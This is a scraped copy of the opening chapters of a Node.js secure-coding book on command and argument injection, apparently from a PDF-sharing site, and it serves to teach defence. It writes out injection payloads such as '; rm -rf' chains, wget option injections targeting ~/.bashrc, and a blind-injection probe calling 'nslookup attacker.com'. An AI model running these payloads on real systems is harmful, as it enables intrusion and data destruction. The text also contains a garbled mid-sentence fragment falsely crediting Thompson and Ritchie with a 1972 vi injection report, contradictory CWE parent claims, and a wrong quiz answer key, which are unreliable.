0% found this document useful (0 votes)
272 views

OceanofPDF.com Nodejs Secure Coding Defending Against Command - Liran Tal

Uploaded by

same here
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
272 views

OceanofPDF.com Nodejs Secure Coding Defending Against Command - Liran Tal

Uploaded by

same here
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 185

TABLE OF CONTENTS

Preface
What you gain to learn

Software developers
Security practitioners

How to read this book?

About the Author


1. Introduction to Application Security

1.1. Application Security Organizations


1.1.1. OWASP

1.1.2. MITRE, CVEs and NVD


1.1.3. Snyk Advisor

1.2. Application Security Jargon

1.3. Test Your Knowledge

1.3.1. Answers
2. Command Injection

2.1. What is Command Injection?


2.2. Command Injection Types

2.2.1. OS Command Injection

2.2.2. Argument Injection


2.2.3. Blind Command Injection

2.3. Command Injection in CWE

2.4. Command Injection in Other Languages

2.4.1. Command Injection in C

2.5. Test Your Knowledge


2.5.1. Answers

3. CVE-2022-25766: Command Injection in ungit

3.1. About the Security Vulnerability

3.2. Setting Up a Vulnerable Test Environment

3.3. Exploiting the Security Vulnerability

3.4. Reviewing the Security Fix

3.5. Lessons Learned


4. CVE-2022-24066: Command Injection in simple-git

4.1. About the Security Vulnerability

4.2. Exploiting The Security Vulnerability

4.3. Reviewing the Security Fix

4.4. Lessons Learned

5. CVE-2022-24376: Command Injection in git-promise


5.1. About the Security Vulnerability

5.2. Exploiting the Security Vulnerability

5.3. Reviewing the Security Fix

5.4. Lessons Learned

6. CVE-2018-3757: Command Injection in pdf-image


6.1. About the Security Vulnerability

6.2. Exploiting the Security Vulnerability

6.3. Reviewing the Security Fix

6.4. Lessons Learned

7. CVE-2019-19609: Command Injection in Strapi

7.1. About the Security Vulnerability

7.2. Exploiting the Security Vulnerability

7.3. Reviewing the Security Fix

7.4. Lessons Learned


8. CVE-2018-25083: Command Injection in pullit

8.1. About the Security Vulnerability

8.2. Exploiting the Security Vulnerability

8.3. Reviewing the Security Fix

8.4. Lessons Learned

9. Defending Against Command Injection


9.1. Node.js child_process: Choosing the Right API for
Secure Command Execution

9.1.1. Commands Passed as Strings

9.1.2. Commands Executed Within a Shell

9.1.3. Isolate Commands From Their Arguments


9.1.4. Default to Executing Commands Outside a Shell
Environment

9.1.5. Summarizing Recommendations for Hardened


APIs Usage

9.2. Secure Command Execution Through Escaping


Techniques

9.2.1. Mitigate Risks from Untrusted Command


Arguments

9.2.2. Validate Command Argument for Expected


Schema

9.2.3. Limit Command Arguments Scope with an


Allow-list

9.2.4. Isolate Command Arguments with the Double-


Dash Separator

9.3. Proactive Prevention of Command Injection


Vulnerabilities

9.4. Additional Security Controls

9.4.1. Keep Dependencies Up to Date


9.4.2. Static Application Security Testing

9.4.3. Review A Dependency Source Code

9.4.4. Be Prepared for Unpatched Vulnerabilities

10. Appendix

10.1. Test Your Knowledge

10.1.1. Answers

10.2. Command Injection in the Wild

10.2.1. Command Injection in GitHub Actions


10.2.2. Command Injection in Networking & Security
Appliances

Exercises

10.2.3. Vulnerable sketchsvg

Exercises

10.2.4. Vulnerable versionn

Exercises

10.2.5. Vulnerable gry

Exercises

10.2.6. Vulnerable global-modules-path

Exercises

10.2.7. Vulnerable semver-tags

Exercises
10.2.8. Vulnerable s3-uploader

Exercises

10.3. CVEs in This Book

OceanofPDF.com
Node.js Secure Coding: Defending Against Command Injection
Vulnerabilities
by Liran Tal

Copyright © 2023 Liran Tal. All rights reserved.

Revision history:

1. 2023-09-23

a. Minor styling updates.

2. 2023-05-01

a. New Appendix chapter includes self-assessment


questions, reviews of closed-source and open-source
real-world command injection vulnerability
implications, and CVE list.
b. Chapter 2: Argument Injection features citation of prior
research.

3. 2023-04-07

a. First edition.

This book is for sale at https://www.nodejs-security.com

OceanofPDF.com
PREFACE

Learn about secure coding practices with Node.js based on real-


world CVE vulnerabilities in popular open-source npm
packages.

This book takes an adventure-based approach to application


security learning, where you will be playing detective who
unravels the mysteries of common security vulnerabilities.
Through these exercises you will learn about secure coding
practices, and how to avoid security pitfalls that software
developers and open-source maintainers get caught with.

Senior software engineers often recite how one of the most


critical skills you should have as an engineer is the ability to
read code. The more you read, the easier it becomes for you to
understand code and the more context you gain. This book
focuses exactly on that - reading vulnerable code, so we can
learn from it. This activity creates patterns that our brain learns
to identify and that later quickly turn into red flags that we
detect and apply in our day-to-day programming and code
review routines.
What you gain to learn
Designed for software developers and security professionals
interested in command injection, this book provides a
comprehensive understanding of the topic. It also demonstrates
its impact and concerns on web application security.

Through insecure coding practices found in vulnerable open-


source npm packages, this book examines the security aspects
affecting JavaScript and Node.js applications. Developers of
other languages such as Python will find references to insecure
code and best practices relatively easy to transfer to other
server-side languages and software ecosystems.

By completing this book you stand to gain:

▪ A high level of security expertise on the topic of command


injection vulnerabilities.
▪ An understanding of application security jargon and
conventions associated with security vulnerabilities
management and severity classification.
▪ How real-world software libraries were found to be
vulnerable and their methods of fixing security issues.
▪ Adopting a security-first mindset to recognize patterns of
insecure code.
▪ Secure coding best practices to avoid command injection
security vulnerabilities.
▪ Proficiency in performing secure code reviews as they apply
to concerns and the scope of command injection security
vulnerabilities.

Software developers
Software developers who build web applications, and
specifically those who practice server-side JavaScript
development on-top of the Node.js runtime will greatly benefit
from the secure coding practices learned in this book.

As a software developer, you will engage in step-by-step code


review of real-world popular libraries and their vulnerable
code, through which you will investigate how security
vulnerabilities manifest and understand the core reasons that
lead to a security risk.

By reviewing code used in real-world software libraries, you


will learn to recognize patterns of insecure code. In addition,
you will learn secure coding best practices for working with
system processes.

Security practitioners
Security professionals who wish to learn and investigate the
source of insecure code and security implications concerned
with vulnerable open-source and third-party libraries that
make up an application’s software composition analysis (SCA).
How to read this book?
This book primarily focuses on the following knowledge-base
sections:

▪ Introduction to application security

▪ A primer on command injection

▪ Chapters that review security vulnerabilities in-depth

If you have a high level of familiarity and understanding of


application security concepts such as OWASP, NVD, and other
security jargon then you can skip the Introduction to application
security concepts.

For readers who have an in-depth understanding of command


injection vulnerabilities, such as those who have prior
experience fixing them as a developer, or disclosing a
command injection vulnerability through a bug bounty
program, you can skip the command injection primer. Keep in
mind, the command injection introduction chapter provides an
elaborate foundation of different types and other insightful
security considerations. It can still be effective educational
content even for experienced practitioners.

At the core of this book is a deep-dive into real-world security


vulnerabilities reviews. Each vulnerability that we review is
assigned a security identifier, such as a CVE, and has impacted
real-world npm packages, some of which you might even be
using.

OceanofPDF.com
ABOUT THE AUTHOR

Liran Tal is an accomplished software developer, respected


security researcher, and prominent advocate for open-source
software in the JavaScript community. He has earned
recognition as a GitHub Star, in part for his tireless efforts to
educate developers and for his contributions to developing
essential security tools and resources that help JavaScript and
Node.js developers create more secure applications.

His leadership in open-source security extends to meaningful


contributions to OWASP projects, recording supply chain
security incidents at the CNCF, and various OpenSSF initiatives.
His contributions to the Node.js community have been widely
recognized, including being honored with the OpenJS
Foundation’s Pathfinder for Security award for his significant
contributions to advance the state of Node.js security. In his role
as a security analyst in the Node.js Foundation’s Security
Working Group, Liran reviewed hundreds of vulnerability
reports for npm packages and created processes for responsible
security disclosures and vulnerability triage.
Liran is also an accomplished security researcher and has
disclosed security vulnerabilities in various open-source
software projects, including being credited with CVEs impacting
npm packages. His work on supply chain security research,
including Lockfile Injection, was presented at Black Hat Europe
2021 cybersecurity conference.

As an experienced author and educator, Liran has written


several widely respected books on software security. These
include "Serverless Security" published by O’Reilly, as well as
the self-published titles "Essential Node.js Security" and "Web
Security: Learning HTTP Security Headers". He is passionate
about sharing his knowledge and occasionally speaks on
software security topics at academic institutions, such as
presenting to students at the Electrical and Computer
Engineering School at Purdue University.

Since joining Snyk, Liran has made a significant impact as a


developer advocate, empowering developers with the
knowledge and tools needed to build and deploy secure
software at scale. His contributions to the developer community
have been instrumental in advancing the state of application
security and strengthening the adoption of secure coding
practices.

OceanofPDF.com
1. INTRODUCTION TO
APPLICATION SECURITY

It’s necessary for software developers to understand the


terminology used by security professionals, become aware of
their standards and comprehend the role they play in
application security. Doing so can assist in assimilating
information on secure coding, which is a fundamental
component of IT security.

Learnings
By the end of this chapter, you should be able to answer questions such as:

▪ What is a CVE and how is a CWE related to it?


▪ What is the OWASP Top 10?

▪ What is NVD?

▪ What is a source-to-sink?

▪ What is an attack vector?


1.1. Application Security Organizations
The following bodies of work are actively referenced and used
as application security resources. They provide security tools,
frameworks, documentation, libraries, working groups, events,
industry-accepted standards, and maintain a security
vulnerability database.

1.1.1. OWASP
The Open Web Application Security Project (OWASP) is a non-
profit organization that aims to improve the quality of software
on the internet through active work to make it more secure. The
OWASP Foundation provides resources to help security
professionals and developers create secure software. This
extends to guides, tools, and documentation; developers should
be aware of the Open Web Application Security Project
(OWASP), as it is a widely recognized and respected source of
information on software security.

In addition to the OWASP Top 10, developers should also be


aware of other OWASP resources, such as the OWASP
Application Security Verification Standard (ASVS) and the
OWASP Secure Coding Practices Quick Reference Guide. These
resources provide detailed guidance on how to write secure
code and adhere to secure coding practices.
It is essential for software developers to familiarize themselves
with OWASP and make use of its resources to develop secure
applications. This will ensure that any potential vulnerabilities
are eliminated and organizations or people can be spared from
expensive security breaches.

Some notable examples of OWASP-related security resources


for Node.js developers:

▪ OWASP Top 10 - known commonly as a security weaknesses


awareness document, the OWASP Top 10 is a list of the most
common and most critical web application security risks. It
however doesn’t aim to provide an exhaustive list or claim
that one weakness is more dangerous than another. The list is
curated by OWASP Foundation members and other guests
who are invited to share their expertise. It is reviewed every
few years to make updates to the list. It provides an ideal
starting point for developers to understand the types of
vulnerabilities they should be aware of and work to prevent
in their software.

▪ OWASP NodeGoat and OWASP Juice Shop - these are both


open-source projects that present a security-focused learning
platform for JavaScript and Node.js developers. You can clone
them on GitHub and experience real-world misconfigurations
and security issues. At the time of writing this book, they’re
known to cover all of OWASP’s Top 10 vulnerabilities for
developers to learn about and exploit in a controlled
environment.

▪ OWASP Cheat Sheet Series - the OWASP Cheat Sheet Series


provides comprehensive security advice for a wide range of
languages, platforms, and development practices. In general,
it provides guidance on secure coding practices for JavaScript
and Node.js developers, such as NPM Security best practices,
the Node.js Docker Cheat Sheet, and others.


FUN FACT

The author of this book has contributed to the OWASP Cheat Sheet
Series. This includes the Node.js Docker Cheat Sheet and the NPM
Security Cheat Sheet which have been widely referenced and
recognized by the Node.js community.

1.1.2. MITRE, CVEs and NVD


MITRE is a non-profit organization that operates research and
development centers sponsored by the US government. One of
MITRE’s many areas of focus is cybersecurity and the
development of application security frameworks, such as
MITRE ATT&CK. In addition, MITRE provides other
cybersecurity resources and tools to help organizations and
individuals improve their cyber defenses.
One of MITRE’s most known contributions to the security
industry is the establishment and maintenance of the Common
Vulnerabilities and Exposures system, commonly referred to as
CVE. This system tracks and maintains security vulnerabilities
and assigns each of them an ID, referred to as a CVE ID, or for
short, a CVE. It then categorizes them into specific
classifications such as CWE-78: Improper Neutralization of
Special Elements used in an OS Command ('OS Command
Injection'). This classification system is known as Common
Weakness Enumeration (CWE).

MITRE maintains its list of open and public security


vulnerabilities database through the National Vulnerability
Database, known commonly by its acronym: NVD. As such, NVD
is a website that provides access to the CVE database, which is a
list of all publicly known security vulnerabilities and their
associated CVE IDs.
Figure 1. CVE-2022-25878 on the cve.org website

Useful resources:

▪ MITRE CVE - this is the home for the overall management of


CVEs, providing access to CVE artifacts, a searchable list, the
issuing of CVEs as well as modifications to existing CVEs. It
also lists current working groups and other resources such as
Common Numbering Authorities, known as CNAs. A CNA is
an organization that has been approved and authorized by
MITRE to handle disclosures of security vulnerabilities and
issue CVE IDs


As a maintainer of open-source npm packages, you may find yourself
handling CVE reports pertaining to your project. The MITRE CVE
website is the address to submit revocation requests or other
modifications to be made to a CVE report that was issued to a project
you are maintaining or contributing to.

▪ NVD - MITRE’s CVE database is made publicly available for


consumption through NVD, the National Vulnerability
Database. In NVD, each vulnerability is well described with
metadata, accompanying resources, a severity score, and the
product or vendor information it is associated with in terms
of impact.

1.1.3. Snyk Advisor


Typically, developers integrate and use third-party open-source
libraries to build applications. With the peak adoption of open-
source software these days, reliance on community-powered
open-source software extends to more than just security risks
with libraries.
Developers may often perform due diligence and compare
projects in order to vet their sustainability. As such, they may be
concerned about issues such as:

▪ Is the library facing maintenance issues?


▪ Has the library’s popularity been on the decline?

▪ How many active maintainers and contributors are working


on the project?

The Snyk Advisor is a free web tool to help gauge a package’s


health status and curate a project’s sustainability and security
criteria into a holistic comparable health score. This helps
developers and engineers make better decisions about open-
source projects based on current factual data.
Figure 2. Snyk Advisor package health score for the remark package

Another source of package health information is deps.dev


which is a free web resource tool made available by Google and
provides open access to the data through BigQuery Public
Dataset. The following capabilities are powerful features to
investigate dependencies beyond package health:
▪ A complete list of dependencies and dependent packages
▪ Visual diff to compare across published package versions

▪ Versions are annotated with information about a list of


dependents
▪ License information includes the entire dependency list
▪ OpenSSF scorecard details
Figure 3. The lockfile-lint npm package OpenSSF scorecard details from deps.dev

1.2. Application Security Jargon


The following is a list of technical security terms and acronyms
commonly used in security conversations, documentation and
vulnerability communication. These are widely used
throughout the book and defined here for reference.
Injection
A data payload provided to an application to deviate from its
original execution intent. This is done by composing data in
a specific way.

Security controls
a mechanism to protect data, applications, and systems from
unwanted and unintended behavior such as unauthorized
access, modification, or destruction. In relation to software
and code, security controls are often implemented as a set of
rules, algorithms, and practices. These controls are used to
protect the application and its users from potential harm.
For example, escaping user input is a security control used
to prevent command injection attacks.

Responsible disclosure
Security responsible disclosure refers to the process of
disclosing sensitive information about a security
vulnerability found in a library, a product, or a flaw in a
computer system. The goal of responsible security disclosure
is to alert the appropriate parties to the vulnerability. This
will enable them to triage, communicate with maintainers
and collaborate to fix the issue. This will protect their
systems and users from potential harm.
OWASP Top 10
A widely recognized and industry-accepted document that
provides a concise, high-level summary of the top 10 most
common weaknesses when it comes to web security.

Source to sink
Source to sink is a term used to describe the process of data
flow within a program from where user input originates (the
source), to where it is used in some form (the sink). In order
to ensure the security of an application or the integrity of a
system, it is common to implement security controls at the
source. This includes input validation or input sanitization.
Security controls can, and should, be employed at the sink.
Some examples are output encoding and parametrized
queries.

CVE
A Common Vulnerabilities and Exposures is an identifier
assigned to a publicly disclosed security vulnerability. It
provides a common reference for identifying and tracking
vulnerabilities. It is recognized as a standard for identifying
vulnerabilities across the industry. As a developer, you can
think of CVE IDs as backlog ticket IDs for security
vulnerabilities.
CVSS
Common Vulnerability Scoring System is a standardized
method for assessing the severity of security vulnerabilities.
It is commonly used in conjunction with CVEs to provide a
quantitative measure of the potential impact of a
vulnerability. CVSS assigns a score to a vulnerability based
on a number of factors. These factors include the impact on
the confidentiality, integrity, and availability of the affected
program or underlying system. The vulnerability is also
evaluated based on its ease of exploitation and likelihood of
being exploited. The resulting score is a value between 0 and
10, with higher scores indicating more severe vulnerability.

CWE
Common Weakness Enumeration is a standardized
classification of common software weaknesses that can lead
to security vulnerabilities. It was developed by MITRE as a
way to establish a common software vulnerability
categorization. Additionally, it provides the basis for tools
and services that can assist organizations in identifying and
addressing these vulnerabilities. A CWE is also structured
hierarchically and contains metadata about vulnerability
classes, mitigation and prevention.

Vulnerability
A security vulnerability is a weakness in a computer
program or a computer system that can be exploited by a
malicious party to gain unauthorized access to sensitive data
or to disrupt the normal functioning of the system. Security
vulnerabilities can take many forms, including design
weaknesses or computational logic flaws in applications and
systems. These vulnerabilities when exploited lead to
adverse consequences.

Exploit
An exploit is a technique, method or program code that is
developed and used to take advantage of a vulnerability in a
computer system or a software application. Exploits are then
executed in order to gain advantage of a vulnerable system.

Attack vector
An attack vector is a path or means by which an attacker can
gain access to a computer system or software application to
exploit a vulnerability. Attack vectors can take many forms,
such as manipulating input data in a way that causes the
system to behave unintentionally. In addition, they can use
social engineering techniques to trick users into divulging
sensitive information or access credentials.

Payload
A payload is commonly used in exploits and is part of an
attack that is delivered to a target system or application that
may perform malicious actions.
Attack surface
refers to all available interfaces and components accessible
to an attacker and can potentially be exploited to perform
malicious actions on a system.

OS Command injection
A software security vulnerability that allows attackers to
execute arbitrary system commands in the context of an
operating system (OS). These vulnerabilities apply to web
applications but extend to other technologies such as
connected end-point devices, routers, and printers.

Argument injection
A type of command injection vulnerability that manifests in
the form of an attacker’s ability to modify or abuse the
command-line arguments of a given command, even if they
cannot modify the command itself.

Blind command injection


A type of attack that employs fuzzing and randomly
generated payloads intended to exploit command injection
vulnerabilities with a special payload that triggers "phone
home" behavior to allow positive confirmation of a
vulnerable application.
1.3. Test Your Knowledge
In this section, you can check your understanding of the
concepts and best practices presented in this chapter through
multiple-choice questions. Answer them to the best of your
ability, and check your answers at the end of the section.

Select the correct answer (some questions may have multiple


correct answers):

1. What does OWASP stand for?


a. Open Web Application Security Project
b. Open Worldwide Application Security Program
c. Online Web Application Scanning Platform

d. Organization of Web Application Security Professionals

2. What is the purpose of OWASP?


a. To promote open source software
b. To create a community of software developers
c. To improve the security of software

d. To improve website design

3. What is the OWASP Top 10?

a. A list of the most critical web application security risks


b. A list of the top ten programming languages
c. A list of the top ten web development frameworks
d. A list of the top ten web hosting providers

4. What is injection?
a. A type of input validation technique
b. A type of encryption algorithm

c. A type of attack where untrusted data is sent to an


interpreter as part of a command or query
d. A type of cross-site scripting attack

5. What is source-to-sink in software development?


a. The process of compiling source code into machine code
b. The process of running a program and observing its
output
c. The flow of data within a program from user input to
where it is used
d. The process of debugging and fixing errors in code

6. What is the difference between a CVSS and a CVE?


a. CVSS is a scoring system used to assess the severity of a
vulnerability, while CVE is a database of known
vulnerabilities
b. CVE is a scoring system used to assess the severity of a
vulnerability, while CVSS is a database of known
vulnerabilities

c. Both CVSS and CVE are databases of known


vulnerabilities, but CVE focuses on the impact of the
vulnerability, while CVSS focuses on its severity
d. Both CVSS and CVE are scoring systems used to assess
the severity of a vulnerability, but CVSS is more widely
used in industry

7. What is the difference between MITRE and NVD?


a. MITRE is a government organization that focuses on
cyber security research, while NVD is a database of
known vulnerabilities
b. NVD is a government organization that focuses on cyber
security research, while MITRE is a database of known
vulnerabilities
c. Both MITRE and NVD are databases of known
vulnerabilities, but MITRE focuses on the impact of the
vulnerability, while NVD focuses on its severity

d. Both MITRE and NVD are organizations that focus on


cyber security research, but MITRE is more widely
known in the industry.
1.3.1. Answers
The correct answers are as follows:

1. a)
2. c)

3. a)
4. c)
5. c)
6. a)
7. b)

OceanofPDF.com
2. COMMAND INJECTION

In this introductory chapter we learn about command injection


as a security vulnerability. We also learn why software is
commonly vulnerable to this type of vulnerability, and its
impact on applications and software libraries. We also expand
upon different types of command injection vulnerabilities and
how the security community classifies this vulnerability.

Learnings
By the end of this chapter, you should be able to answer questions such as:

▪ What makes command injection vulnerabilities so common?

▪ What are the types of command-injection vulnerabilities?

▪ How do you classify command injection vulnerabilities?

▪ Command injection vulnerabilities and their impact on applications and


software libraries.
▪ Patterns of insecure code that lead to command injection vulnerabilities and
identifying them in other programming languages.
2.1. What is Command Injection?
Command injection is a specific form of injection attack, such as
SQL injection and Cross-site Scripting injection (XSS). The attack
exploits vulnerabilities in program code that executes system
commands. It insecurely concatenates user input, or completely
misses to properly sanitize or encode user input that is passed
to the command being executed.

When code that is meant to spawn system processes cannot


distinguish between the programmer’s original intention and
dangerous user input. This results in an unsafe and unsantizied
command being executed.

The class of injection attacks has been featured at the top of


OWASP’s Top 10 web security risks for over two decades. These
types of attacks have been a pivotal, recurring, and dangerous
set of vulnerabilities that developers have struggled with
mitigating for a long time.

2.2. Command Injection Types


It may be surprising, but command injection takes on many
shapes and forms, beyond the common seemingly obvious code
pattern of string concatenation into a system command.

In this section, we will explore the different types of command


injection vulnerabilities and how they can be exploited. Among
others, you will learn:

1. The different types of command injection vulnerabilities.

2. How to identify various insecure code patterns.

At the end of each vulnerability chapter you will also learn


about root causes and how to apply secure coding practices and
other conclusions. This will effectively help you avoid these
types of vulnerabilities when writing code.


NOTE

The Command Injection vulnerability is classified as "CWE-77: Improper


Neutralization of Special Elements used in a Command ('Command
Injection')", which is the parent Common Weakness Enumeration (CWE)
classification of other command injection types.

2.2.1. OS Command Injection


OS command injection is classified formally as CWE-78 which
describes it as Improper Neutralization of Special Elements used
in an OS Command. It refers specifically to an attacker’s ability
to inject commands that are executed by an operating system
(OS).

The Node.js runtime enables developers to execute operating


system commands using the Child Process API accessible
through node:child_process which provides synchronous and
asynchronous methods to spawn subprocesses.

A Node.js command injection vulnerability is shown below as


an example of OS command injection:

Listing 1. ./app.js

const { execSync } = require('child_process');


execSync('git clone ' + user_specified_git_repository);

In this example, the variable user_specified_git_repository is


user-controlled input of a remote Git repository to clone, which
is concatenated with the git command.

As another reference to vulnerable code, the following is an OS


command injection example in PHP:

Listing 2. ./app.php

$username = $_POST["username"];
system('ls -l /home/' . $username);

In both code snippets above, a user is in control of input such as


the URL for a Git repository to be cloned in the Node.js example.
In the PHP example, a user can list files in a user’s home
directory on a server. This user input that we refer to as a
source is then concatenated to operating system commands (git
and ls, respectively) using sensitive APIs (execSync and system,
respectively) which we refer to as a sink.
By controlling these inputs, attackers exploit an OS Command
Injection vulnerability, with a payload such as ; touch
/tmp/pwned. This payload uses the special character of a
semicolon (;) which instructs a shell interpreter to terminate a
command, and begin another command to be executed. In that
payload, touch is a Unix command that creates empty new files
at a given path. However, more destructive inputs such as
deleting all files, reading environment variables and sending
them to a remote attacker, would’ve been just as easy to abuse
on a vulnerable system.

2.2.2. Argument Injection


An interesting and not widely known type of command
injection is that of Argument Injection which is classified as
CWE-88: Improper Neutralization of Argument Delimiters in a
Command ('Argument Injection').

Would you find the following code snippet vulnerable to


command injection?

const { execFile } = require('child_process');


execFile('git', ['ls-remote', url, branch]);

You might answer "no", and you might rationalize it as follows:


the code snippet is not vulnerable to command injection
because the url and branch variables are not concatenated with
the git command. Instead, they are passed as arguments to the
git command.

However, you’d be wrong and that’s a common misconception


and blind spot regarding argument injection vulnerabilities.

In the case of an Argument Injection vulnerability, a developer


constructs a command to be executed. This command is
composed of command arguments in which user-controlled
input is able to modify the arguments provided to the command
that is to be executed. This is in contrast to command injection
attacks where the goal is to execute a completely new command
altogether.

Let’s consider an example where an application uses the wget


command to download a resource from a given URL:

const imageUrl = sanitizeDangerousShellChars(req.body.imageUrl);


child_process.exec(`wget ${imageUrl}`, (error, stdout, stderr) => {});

In this code snippet, the sanitizeDangerousShellChars() function


has been written by a responsible developer who understands
command injection vulnerabilities. As such, and as one would
expect, it detects any forms of characters such as ;, &&, || or
others that can be found in a string and instructs the shell to
run the command specified after these characters.

However, what if the imageUrl consisted of string URLs such as:


▪ -O ~/.bashrc

▪ -P /etc

The above examples make use of command-line options such as


specifying the output document (-O) or the directory prefix (-P).

These payloads are designed to change the original intention


the developer had when building the wget command. This could
result in arbitrary file overwriting, or other severe
consequences such as denial of service. This was made possible
due to the developer trusting a command argument passed as
input from a user. This ended up abusing the available
command-line arguments and options available to use within
the scope of a specific command.

FUN FACT

The first security vulnerability ever reported that was classified as


Argument Injection dates back to May 25th, 2004.

The vulnerability, identified as CVE-2004-2687, was found in the Opera


browser and its handling of Telnet protocol scheme. From the original
report:

The telnet URI handler in Opera does not check for leading '-'
characters in the host name. Consequently, a maliciously-crafted
telnet:// link may be able to pass options to the telnet program
itself. One example would be the following:

telnet://-nMyFile

If MyFile exists in the user's home directory and the user clicking
on the link has write permissions to it, the contents of the file
will be overwritten with the output of the telnet trace
information. If MyFile does not exist, the file will be created in
the user's home directory.

was a command injection vulnerability. It was reported in 1972 by Ken


Thompson, the creator of the Unix operating system, and Dennis Ritchie,
the creator of the C programming language. The vulnerability was in the
vi text editor, and the vulnerability report was titled "Command
Injections in vi". The vulnerability was fixed in the same year.

Even though Argument Injection vulnerabilities date back to


2004, we’ve only seen reports of this type of vulnerability in the
wild in the last few years. Is this because the majority of
developers are not aware of this type of vulnerability and how
to prevent it, or perhaps it is because this type of vulnerability
has a narrow scope given that it requires command-line tools to
be used in a very specific way?

A recent study[1] by Alessio Della Libera shows the rise in the


number of vulnerabilities published in 2022. This is across
ecosystems from PHP and Ruby to Python and JavaScript. The
study focuses on how this vulnerability manifests in various
version control systems such as Git and Mercurial. It also
focuses on how vulnerabilities found in one are easily
transferable to the other.

Another study[2] by SonarSource shows that Argument Injection


vulnerabilities are not limited to version control systems. The
study shows that this type of vulnerability exists in a wide
range of tools and libraries. These include psql, sendmail, ssh,
tar, zip and other command-line tools.

2.2.3. Blind Command Injection


A Blind Command Injection is not formally a type of command
injection vulnerability. Instead, it is a technique that helps
attackers as they engage in reconnaissance and exploitation of
command injection vulnerabilities.

Sometimes, an application may use system commands in an


out-of-bounds context. Meaning, the actual action of executing
the command happens in a different set of contexts or
environments altogether. This doesn’t return a command’s
output or any form of immediate feedback to a user that
interacts with the system, and indirectly, with the command.

To lean on the previous example used to explain argument


injection, imagine a scenario where a user provides an image,
and the system takes this input, pushes it to a queue, and then
worker nodes are spawned in response to queue messages with
the purpose of downloading images and performing image
processing tasks, such as converting between different formats
or applying specific image resolution changes.

These worker nodes are servers, or functions, that operate in an


out-of-bound context. As in, they don’t expose any API to
interact with and aren’t directly accessible by an attacker. Yet,
they may still be vulnerable to Command Injection or Argument
Injection. In this case though, how would an attacker find out
about that?

By providing an exploit payload which is specifically crafted to


trigger a side effect and then monitoring for whether it
successfully took place. For example, an attacker that is in
control of a domain name system of their own operation, can
monitor for whether DNS requests are executed to resolve
addresses. Then, they can craft a payload which triggers a
domain name resolution, such as nslookup attacker.com. If a
worker node is vulnerable to a type of command injection
which results in this command executed, then attackers have
now become cognizant of a command injection vulnerability
that exists somewhere in some system or subsystem. They are
then able to further fine-tune their payloads to increase the
attack surface and infiltrate the system or take other paths
towards compromising a given system.

2.3. Command Injection in CWE


Common Weakness Enumeration, also known as the CWE
acronym, is a method for classifying types of weakness.

For command injection related vulnerabilities, CWE-77 is used


as the parent weakness identifier and can be further expanded
into specific types of command injection vulnerabilities. The
following are commonly used CWEs to classify them:

▪ CWE-78: Improper Neutralization of Special Elements used in


an OS Command
▪ CWE-88: Improper Neutralization of Argument Delimiters in
a Command ('Argument Injection')

Note that CWE-78 is the parent weakness identifier for


command injection vulnerabilities. This means that CWE-78 is a
more general weakness identifier, and that CWE-88 is a more
specific weakness identifier that applies to vulnerabilities
classified as argument injection.
2.4. Command Injection in Other Languages
Command injection vulnerabilities are not unique to the
Node.js ecosystem. They have been manifesting themselves in
C-based embedded system appliances, and PHP-based web
systems, as some examples, for many years.

Whether you are originally a JavaScript developer, or have


experience with other programming languages, it is imperative
to train your brain to recognize these patterns of command
injection.

Let’s explore several real-world vulnerabilities in other


frameworks and languages, beyond Node.js.

2.4.1. Command Injection in C


Let’s look at the following small C program which prints the
contents of a file.

1 define CMD_MAX = 1000


2 int main(char* argc, char** argv) {
3 char cmd[CMD_MAX] = "/usr/bin/cat ";
4 strcat(cmd, argv[1]);
5 system(cmd);
6 }

To print the contents of the file, the program works as follows:


1. It uses the cat UNIX-based utility that exists on UNIX-based
operating systems such as macOS, and Linux distributions.

2. It receives user input in the form of a command argument.


Specifically, the first argument passed to this program is the
file path for the file to view the contents of.

3. It concatenates the cat command with user input to form


the full command, and executes it via the system system call.

While this program code may seem innocent, since the user is
unable to actually change the cat command to anything else. It
is after all, hard-coded into the program’s source code. And also,
if the user is able to provide the file path as a command-line
argument, they can’t manipulate the actual program that
executes.

Let’s now look at the following user input passed to the


following C program:

$ ./my-file-viewer "/etc/passwd ;rm -rf /etc/important-file"

As you can see, this program’s input is now taking advantage of


the special shell character ;. It terminates the former command,
and begins a completely new command which deletes the file
/etc/important-file.

Of course, the special semicolon character ; is not the only one


to be aware of, if you are thinking in terms of sanitizing
potentially dangerous characters. Here are other examples of
file path user input:

1. "/etc/passwd & rm -rf /etc/important-file" shows the use


of the single ampersand character & which is used to run
commands in the background.

2. "/etc/passwd && rm -rf /etc/important-file" shows the


user the double ampersand character && which is a logical
AND operation, so it will run the right-most command if the
left-most command is truthy.

There are many more permutations of shell characters that may


be used in command injection attacks. If anything, the above
only shows that sanitizing user input in the context of
command injection isn’t an easy task and shouldn’t be taken
lightly.

2.5. Test Your Knowledge


In this section, you can check your understanding of the
concepts and best practices presented in this chapter through
multiple-choice questions. Answer them to the best of your
ability, and check your answers at the end of the section.

Select the correct answer (some questions may have multiple


correct answers):

1. What is Command Injection?


a. A vulnerability that allows an attacker to steal
commands from running servers
b. A method of injecting CSS code into a website
c. A security vulnerability that allows an attacker to
execute arbitrary commands on a server

d. A type of operating system system call that can be


abused by attackers

2. Which module in Node.js is vulnerable to Command


Injection?

a. The crypto module

b. The http module

c. The child_process module

d. The fs module

3. How can Command Injection be prevented in Node.js?

a. By using a firewall to block incoming requests

b. By disabling the child_process module


c. By validating and sanitizing user input, and using a
secure process execution API such as execFile
d. By encrypting the server’s file system

4. What is the impact of a successful Command Injection


attack?
a. An attacker can modify the servers̀ DNS settings
b. An attacker can launch a DDoS attack against the server
c. An attacker can steal user credentials
d. An attacker can execute arbitrary commands on a
server, potentially gaining access to sensitive data or
causing system damage

5. What is Argument Injection?

a. A security vulnerability that allows an attacker to


modify the return value of a function call in order to
execute malicious code
b. A security vulnerability that allows an attacker to
modify the functionality of a function call in order to
execute malicious code
c. A security vulnerability that allows an attacker to
modify the arguments of a function call in order to
execute malicious code

d. A security vulnerability that allows an attacker to


modify the parameters of a function call in order to
execute malicious code

6. What is the CWE ID for Command Injection


vulnerabilities?
a. CWE-79

b. CWE-78
c. CWE-119
d. CWE-89
2.5.1. Answers
The correct answers are as follows:

1. c)
2. c)
3. c)

4. d)
5. c)
6. b)
1 https://snyk.io/blog/argument-injection-when-using-git-and-mercurial

2 https://sonarsource.github.io/argument-injection-vectors

OceanofPDF.com
